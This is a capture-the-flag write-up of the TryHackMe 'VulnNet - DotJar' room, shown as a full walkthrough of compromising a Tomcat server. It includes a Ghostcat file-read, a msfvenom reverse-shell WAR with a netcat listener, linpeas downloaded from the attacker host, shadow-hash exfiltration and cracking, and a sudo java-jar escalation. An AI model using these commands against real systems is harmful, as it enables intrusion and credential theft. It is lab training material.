✍️
CTFs
Home
  • CTF Writeups
  • Tools and Payloads
  • TryHackMe
    • TryHackMe Overview
      • Advent of Cyber 2
        • Day 01 - Christmas Crisis
        • Day 02 - The Elf Strikes Back!
        • Day 03 - Christmas Chaos
        • Day 04 - Santa's Watching
        • Day 05 - Someone stole Santa's gift list!
        • Day 06 - Be careful with what you wish on a Christmas night
        • Day 07 - The Grinch Really Did Steal Christmas
        • Day 08 - What's Under the Christmas Tree?
        • Day 09 - Anyone can be Santa!
        • Day 10 - Don't be sElfish!
        • Day 11 - The Rogue Gnome
        • Day 12 - Ready, set, elf
        • Day 13 - Coal for Christmas
        • Day 14 - Where's Rudolph?
        • Day 15 - There's a Python in my stocking!
        • Day 16 - Help! Where is Santa?
        • Day 17 - ReverseELFneering
        • Day 18 - The Bits of Christmas
        • Day 19 - The Naughty or Nice List
        • Day 20 - PowershELlF to the rescue
        • Day 21 - Time for some ELForensics
        • Day 22 - Elf McEager becomes CyberElf
        • Day 23 - The Grinch strikes again!
        • Day 24 - The Trial Before Christmas
      • Web Fundamentals
      • Anonymous
      • Printer Hacking 101
      • OWASP Top 10
        • Injection
        • Broken Authentication
        • Sensitive Data Exposure
        • XML External Entity
        • Broken Access Control
        • Security Misconfiguration
        • Cross-Site Scripting
        • Insecure Deserialization
        • Components with Known Vulnerabilities
        • Insufficent Logging & Monitoring
      • Vulnversity
      • Nmap
      • Google Dorking
      • Blog
      • Metasploit
      • OhSINT
      • Searchlight - IMINT
      • Basic Pentesting
      • Crack the Hash
      • Crack the Hash 2
      • Year of the Jellyfish
      • VulnNet - DotJar
      • Encryption - Crypto 101
      • CC: Pen Testing
      • Kenobi
      • Linux Backdoors
      • Root Me
      • DNS Manipulation
      • OWASP Juice Shop
      • Pickle Rick
      • CC: Steganography
      • OverPass
      • OverPass 2 - Hacked
      • OverPass 3 - Hosting
      • Mr Robot CTF
      • VulnNet
      • Linux PrivEsc
      • Git Happens
      • Buffer Overflow Prep
      • BrainPan
      • CC: Ghidra
      • Intro to x86-64
      • CC: Radare2
      • Linux Forensics
      • ReverseEngineering
      • Reversing ELF
      • Simple CTF
      • c4ptur3-th3-fl4g
      • Cat Pictures
      • Bounty Hacker
      • That's the Ticket
      • Brute It
      • Smag Grotto
      • Ignite
      • Ninja Skills
      • Break It
      • Mustacchio
      • Agent Sudo
      • Poster
      • Fowsniff CTF
      • Juicy Details
      • The Impossible Challenge
      • Golden Eye
      • Lian_Yu
      • Couch
      • GateKeeper
      • WebAppSec 101
      • Advent of Cyber 1
        • Day 01 - Inventory Management
        • Day 02 - Arctic Forum
        • Day 03 - Evil Elf
        • Day 04 - Training
        • Day 05 - Ho-Ho-Hosint
        • Day 06 - Data Elf-iltration
        • Day 07 - Skilling Up
        • Day 08 - SUID Shenanigans
        • Day 09 - Requests
        • Day 10 - Metasploit-a-ho-ho-ho
        • Day 11 - Elf Applications
        • Day 12 - Elfcryption
        • Day 13 - Accumulate
        • Day 14 - Unknown Storage
      • Hacker of the Hill
  • HackTheBox
    • HackTheBox Overview
      • Emdee five for life
      • Templated
      • Phonebook
  • HackTheBox Academy
    • HTB Academy Overview
  • PortSwigger Academy
    • PortSwigger Overview
      • Authenication bypass via OAuth implicit flow
      • Forced Oauth Profile Linking
      • OAuth account hijacking via redirect_uri
      • Stealing OAuth access tokens via an open redirect
      • Stealing OAuth access tokens via a proxy page
  • 2021 CTFs
    • Gurugram Cyber Heist CTF 2021
      • All About Web
      • Are You Web Expert
      • Mobile Phones are Bad
      • The Last Step
      • Social Media Havoc
    • ZH3R0 CTF 2.0 2021
      • Misc - Small Maniac's Game
      • Web - bxss
      • Web - Sparta
      • Web - Baby SSRF
      • Web - Original Store v1 and v2
      • Web - strpos and substr
    • NahamCon 2021
      • esab64
      • Bionic & Meet the Team
      • Gus & Hercules
      • Pollex
  • 2020 CTFs
    • VulnCon2020 Overview
      • Noob Bot Welcomes You!
      • Maze
      • Pcaped
Powered by GitBook
On this page
  • Enumeration using nmap
  • Gobuster
  • AJP Shooter
  • Reverse shell (Java)
  • Shell access
  • Linpeas
  • Privilege Escalation
  • Accessing the shadow backup file
  • Cracking the Hash of jdk-admin
  • User.txt
  • Root flag
  • Creating and Executing Jar file
  • References
  1. TryHackMe
  2. TryHackMe Overview

VulnNet - DotJar

PreviousYear of the JellyfishNextEncryption - Crypto 101

Last updated 1 year ago

Date: 10, May, 2021

Author: Dhilip Sanjay S


to go to the TryHackMe room.

Enumeration using nmap

$ nmap -sV <MACHINE_IP> | tee nmap.out

Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-25 00:23 IST
Nmap scan report for <MACHINE_IP>
Host is up (0.22s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
8080/tcp open  http    Apache Tomcat 9.0.30

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.85 seconds

Gobuster

$ gobuster dir -u http://10.10.34.2:8080/ -t 100 -w /usr/share/wordlists/dirb/big.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.34.2:8080/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/04/25 00:48:16 Starting gobuster in directory enumeration mode
===============================================================
/[                    (Status: 400) [Size: 762]
/]                    (Status: 400) [Size: 762]
/docs                 (Status: 302) [Size: 0] [--> /docs/]
/examples             (Status: 302) [Size: 0] [--> /examples/]
/favicon.ico          (Status: 200) [Size: 21630]             
/manager              (Status: 302) [Size: 0] [--> /manager/] 
/plain]               (Status: 400) [Size: 762]               
/quote]               (Status: 400) [Size: 762]               
                                                              
===============================================================
2021/04/25 00:48:53 Finished
===============================================================

AJP Shooter

python3 ajpShooter.py http://10.10.34.2:8080/ 8009 /WEB-INF/web.xml read

       _    _         __ _                 _            
      /_\  (_)_ __   / _\ |__   ___   ___ | |_ ___ _ __ 
     //_\\ | | '_ \  \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
    /  _  \| | |_) | _\ \ | | | (_) | (_) | ||  __/ |   
    \_/ \_// | .__/  \__/_| |_|\___/ \___/ \__\___|_|   
         |__/|_|                                        
                                                00theway,just for test
    

[<] 200 200
[<] Accept-Ranges: bytes
[<] ETag: W/"1977-1612105570000"
[<] Last-Modified: Sun, 31 Jan 2021 15:06:10 GMT
[<] Content-Type: application/xml
[<] Content-Length: 1977

<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                      http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

  <display-name>VulnNet Entertainment</display-name>
  <description>
     VulnNet Dev Regulations - mandatory
 
1. Every VulnNet Entertainment dev is obligated to follow the rules described herein according to the contract you signed.
2. Every web application you develop and its source code stays here and is not subject to unauthorized self-publication.
-- Your work will be reviewed by our web experts and depending on the results and the company needs a process of implementation might start.
-- Your project scope is written in the contract.
3. Developer access is granted with the credentials provided below:
 
    webdev:Hgj3LA$02D$Fa@21
 
GUI access is disabled for security reasons.
 
4. All further instructions are delivered to your business mail address.
5. If you have any additional questions contact our staff help branch.
  </description>

</web-app>

Reverse shell (Java)

$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.9.0.145 LPORT=1234 -f war > reverse.war

Payload size: 1102 bytes
Final size of war file: 1102 bytes
  • Upload using command line (manager-script role is only enabled)

$ curl -u webdev -T reverse.war 'http://10.10.159.186:8080/manager/text/deploy?path=/'
Enter host password for user 'webdev':
OK - Deployed application at context path [/reverse.war]

Shell access

  • After uploading via command line, visit the URL in browser: http://<MACHINE_IP>:8080/reverse.war

  • Simultaneously listen using netcat on the appropriate port. Once you get a shell, upgrade it.

nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.9.0.145] from (UNKNOWN) [10.10.159.186] 53802
whoami
web
python3 -c 'import pty; pty.spawn("/bin/bash")'
web@vulnnet-dotjar:/$ ^Z
[1]+  Stopped                 nc -lvnp 1234

$ stty raw -echo; fg
nc -lvnp 1234

web@vulnnet-dotjar:/$ id
uid=1001(web) gid=1001(web) groups=1001(web)

Linpeas

  • Get linpeas on the target machine and execute it. I have added the output of linpeas which I found to be useful.

web@vulnnet-dotjar:~$ wget http://10.9.0.145:8000/linpeas.sh
--2021-05-10 21:49:28--  http://10.9.0.145:8000/linpeas.sh
Connecting to 10.9.0.145:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 339569 (332K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh          100%[===================>] 331.61K   213KB/s    in 1.6s    

2021-05-10 21:49:30 (213 KB/s) - ‘linpeas.sh’ saved [339569/339569]

web@vulnnet-dotjar:~$ chmod +x linpeas.sh 
web@vulnnet-dotjar:~$ ./linpeas.sh | tee linpeas.output
.
.

[+] Password policy
PASS_MAX_DAYS	99999
PASS_MIN_DAYS	0
PASS_WARN_AGE	7
ENCRYPT_METHOD SHA512
.
.
[+] Backup folders
drwxr-xr-x 2 root root 4096 May 11 07:45 /var/backups
total 2644
-rw-r--r-- 1 root root    102400 May 11 07:45 alternatives.tar.0
-rw-r--r-- 1 root root      2763 Jan 15 15:32 alternatives.tar.1.gz
-rw-r--r-- 1 root root     13208 Jan 31 16:10 apt.extended_states.0
-rw-r--r-- 1 root root      1419 Jan 31 16:01 apt.extended_states.1.gz
-rw-r--r-- 1 root root      1542 Jan 15 18:08 apt.extended_states.2.gz
-rw-r--r-- 1 root root        11 Jan 15 15:06 dpkg.arch.0
-rw-r--r-- 1 root root        43 Jan 15 15:06 dpkg.arch.1.gz
-rw-r--r-- 1 root root        43 Jan 15 15:06 dpkg.arch.2.gz
-rw-r--r-- 1 root root        43 Jan 15 15:06 dpkg.arch.3.gz
-rw-r--r-- 1 root root       280 Jan 15 15:26 dpkg.diversions.0
-rw-r--r-- 1 root root       160 Jan 15 15:26 dpkg.diversions.1.gz
-rw-r--r-- 1 root root       160 Jan 15 15:26 dpkg.diversions.2.gz
-rw-r--r-- 1 root root       160 Jan 15 15:26 dpkg.diversions.3.gz
-rw-r--r-- 1 root root       228 Jan 15 15:18 dpkg.statoverride.0
-rw-r--r-- 1 root root       179 Jan 15 15:18 dpkg.statoverride.1.gz
-rw-r--r-- 1 root root       179 Jan 15 15:18 dpkg.statoverride.2.gz
-rw-r--r-- 1 root root       179 Jan 15 15:18 dpkg.statoverride.3.gz
-rw-r--r-- 1 root root   1383027 Feb  2 17:27 dpkg.status.0
-rw-r--r-- 1 root root    373294 Jan 31 16:02 dpkg.status.1.gz
-rw-r--r-- 1 root root    375385 Jan 15 18:08 dpkg.status.2.gz
-rw-r--r-- 1 root root    366250 Jan 15 15:22 dpkg.status.3.gz
-rw------- 1 root root       857 Jan 15 18:11 group.bak
-rw------- 1 root shadow     711 Jan 15 18:11 gshadow.bak
-rw------- 1 root root      1745 Jan 15 15:52 passwd.bak
-rw-r--r-- 1 root root       485 Jan 16 13:44 shadow-backup-alt.gz
-rw------- 1 root shadow    1179 Jan 16 13:37 shadow.bak

.
.

Privilege Escalation

Accessing the shadow backup file

  • Backup folder contains the shadow file backup. Try to download the .bak or .gz file to your machine to access it.

web@vulnnet-dotjar:/var/backups$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.9.1.20 - - [11/May/2021 08:12:05] code 404, message File not found
10.9.1.20 - - [11/May/2021 08:12:05] "GET /shadow.bak HTTP/1.1" 404 -
10.9.1.20 - - [11/May/2021 08:12:29] "GET /shadow-backup-alt.gz HTTP/1.1" 200 -
  • Unzipping .gz file using gunzip to access the shadow file:

wget http://10.10.116.160:8000/shadow-backup-alt.gz
--2021-05-11 11:42:27--  http://10.10.116.160:8000/shadow-backup-alt.gz
Connecting to 10.10.116.160:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 485 [application/gzip]
Saving to: ‘shadow-backup-alt.gz’

shadow-backup-alt.gz              100%[=============================================================>]     485  --.-KB/s    in 0s      

2021-05-11 11:42:27 (1.14 MB/s) - ‘shadow-backup-alt.gz’ saved [485/485]

root@kali:~/Desktop/CTF/TryHackMe/vulnet:dotjar# gunzip shadow-backup-alt.gz 
root@kali:~/Desktop/CTF/TryHackMe/vulnet:dotjar# cat shadow-backup-alt 
root:$6$FphZT5C5$cH1.ZcqBlBpjzn2k.w8uJ8sDgZw6Bj1NIhSL63pDLdZ9i3k41ofdrs2kfOBW7cxdlMexHZKxtUwfmzX/UgQZg.:18643:0:99999:7:::
daemon:*:18642:0:99999:7:::
bin:*:18642:0:99999:7:::
sys:*:18642:0:99999:7:::
sync:*:18642:0:99999:7:::
games:*:18642:0:99999:7:::
man:*:18642:0:99999:7:::
lp:*:18642:0:99999:7:::
mail:*:18642:0:99999:7:::
news:*:18642:0:99999:7:::
uucp:*:18642:0:99999:7:::
proxy:*:18642:0:99999:7:::
www-data:*:18642:0:99999:7:::
backup:*:18642:0:99999:7:::
list:*:18642:0:99999:7:::
irc:*:18642:0:99999:7:::
gnats:*:18642:0:99999:7:::
nobody:*:18642:0:99999:7:::
systemd-network:*:18642:0:99999:7:::
systemd-resolve:*:18642:0:99999:7:::
syslog:*:18642:0:99999:7:::
messagebus:*:18642:0:99999:7:::
_apt:*:18642:0:99999:7:::
uuidd:*:18642:0:99999:7:::
lightdm:*:18642:0:99999:7:::
whoopsie:*:18642:0:99999:7:::
kernoops:*:18642:0:99999:7:::
pulse:*:18642:0:99999:7:::
avahi:*:18642:0:99999:7:::
hplip:*:18642:0:99999:7:::
jdk-admin:$6$PQQxGZw5$fSSXp2EcFX0RNNOcu6uakkFjKDDWGw1H35uvQzaH44.I/5cwM0KsRpwIp8OcsOeQcmXJeJAk7SnwY6wV8A0z/1:18643:0:99999:7:::
web:$6$hmf.N2Bt$FoZq69tjRMp0CIjaVgjpCiw496PbRAxLt32KOdLOxMV3N3uMSV0cSr1W2gyU4wqG/dyE6jdwLuv8APdqT8f94/:18643:0:99999:7:::

Cracking the Hash of jdk-admin

  • We know that it's an SHA-512 hash (via the password policy) - Check the linpeas output.

  • So let's crack the hash using john or hashcat

hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt 
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz, 2886/2950 MB (1024 MB allocatable), 1MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Uses-64-Bit

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s

$6$PQQxGZw5$fSSXp2EcFX0RNNOcu6uakkFjKDDWGw1H35uvQzaH44.I/5cwM0KsRpwIp8OcsOeQcmXJeJAk7SnwY6wV8A0z/1:794613852
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: sha512crypt $6$, SHA512 (Unix)
Hash.Target......: $6$PQQxGZw5$fSSXp2EcFX0RNNOcu6uakkFjKDDWGw1H35uvQza...8A0z/1
Time.Started.....: Tue May 11 12:05:05 2021 (1 min, 8 secs)
Time.Estimated...: Tue May 11 12:06:13 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      385 H/s (10.48ms) @ Accel:20 Loops:1024 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests
Progress.........: 26160/14344385 (0.18%)
Rejected.........: 0/26160 (0.00%)
Restore.Point....: 26140/14344385 (0.18%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4096-5000
Candidates.#1....: alyssa01 -> 794613852

Started: Tue May 11 12:05:03 2021
Stopped: Tue May 11 12:06:14 2021

User.txt

  • Switch user to jdk-admin using the cracked credentials and access the user flag

web@vulnnet-dotjar:/$ su jdk-admin
Password: 
jdk-admin@vulnnet-dotjar:/$ cd 
jdk-admin@vulnnet-dotjar:~$ ls
Desktop    Downloads  Pictures  Templates  Videos
Documents  Music      Public    user.txt

jdk-admin@vulnnet-dotjar:~$ cat user.txt 
THM{1ae87fa6ec2cd9f840c68cbad78e9351}

Root flag

  • By listing the privileges of the jdk-admin, we find that this user can execute any jar file as root.

jdk-admin@vulnnet-dotjar:/$ sudo -ll
Password: 
Matching Defaults entries for jdk-admin on vulnnet-dotjar:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jdk-admin may run the following commands on vulnnet-dotjar:

Sudoers entry:
    RunAsUsers: root
    Commands:
	/usr/bin/java -jar *.jar

Creating and Executing Jar file

  • Create Exploit.java file, which reads the root.txt from the root directory.

import java.io.File;
import java.io.FileNotFoundException;
import java.util.Scanner;

public class Exploit {
  public static void main(String[] args) {
    try {
      File myObj = new File("/root/root.txt");
      Scanner myReader = new Scanner(myObj);
      while (myReader.hasNextLine()) {
        String data = myReader.nextLine();
        System.out.println(data);
      }
      myReader.close();
    } catch (FileNotFoundException e) {
      System.out.println("An error occurred.");
      e.printStackTrace();
    }
  }
}
  • Executing Jar file, but it gives an error due to the absence of manifest attribute.

jdk-admin@vulnnet-dotjar:/dev/shm$ javac -d . Exploit.java     
jdk-admin@vulnnet-dotjar:/dev/shm$ ls
Exploit.class  Exploit.java
jdk-admin@vulnnet-dotjar:/dev/shm$ jar cvf exploit.jar Exploit.class 
added manifest
adding: Exploit.class(in = 865) (out= 563)(deflated 34%)
jdk-admin@vulnnet-dotjar:/dev/shm$ ls       
Exploit.class  exploit.jar  Exploit.java
jdk-admin@vulnnet-dotjar:/dev/shm$ sudo java -jar exploit.jar 
Password: 
no main manifest attribute, in exploit.jar
  • Adding manifest attribute and then executing the exploit:

jdk-admin@vulnnet-dotjar:/dev/shm$ echo Main-Class: Exploit > MANIFEST.MF
jdk-admin@vulnnet-dotjar:/dev/shm$ jar cvmf MANIFEST.MF exploit.jar Exploit.class                      
added manifest
adding: Exploit.class(in = 865) (out= 563)(deflated 34%)

jdk-admin@vulnnet-dotjar:/dev/shm$ sudo java -jar exploit.jar 
THM{464c29e3ffae05c2e67e6f0c5064759c}

References

Click Here
Hunting and Exploiting the Apache Ghostcat
Ghostcat-CNVD-2020-10487
Java Reverse Shell
Create and execute JAR file in linux - Reference
Exploiting Apache Tomcat Port 8009 using Apache Jserv Protocol
Hunting and Exploiting the Apache Ghostcat
Ghostcat-CNVD-2020-10487
Create and execute JAR file in linux